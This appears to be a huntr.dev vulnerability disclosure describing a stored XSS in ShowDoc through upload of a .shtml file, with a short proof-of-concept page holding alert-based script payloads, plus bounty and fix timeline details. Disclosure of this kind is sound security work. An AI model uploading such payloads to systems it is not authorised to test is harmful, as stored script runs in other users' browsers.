huntr

Stored xss in showdoc through file upload in star7th/showdoc

0

✓ Valid Reported on Mar 11th 2022

Description

Hi. This is a bypass to the report in https://huntr.dev/bounties/df347aa9-ed9b-4f75-af99-c83b8aad3bcf/ . It fails to check for files with the extension `.shtml` which leads to stored xss

Proof of Concept

```
// poc.shtml
<html>
    <body>
        <h1 onmouseover=alert(1)>adsasdadsdsa</h1>
        <svg/onload=alert()>
        <script>alert(1)</script>
    </body>>
</html>>
```

Impact

Stored Xss

CVE
CVE-2022-0937
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
Medium (6.3)

Visibility

Public

Status

Fixed

Found by

noobexploiterhuntrdev

@noobexploiterhuntrd...

unranked

Fixed by

star7th

@star7th

unranked

This report was seen 585 times.

We are processing your report and will contact the **star7th/showdoc** team within 24 hours. 8 months ago

We have contacted a member of the **star7th/showdoc** team and are waiting to hear back 8 months ago

star7th validated this vulnerability 8 months ago

noobexploiterhuntrdev has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

star7th marked this as fixed in **2.10.4** with commit **42c0d9** 8 months ago

star7th has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

Chat with us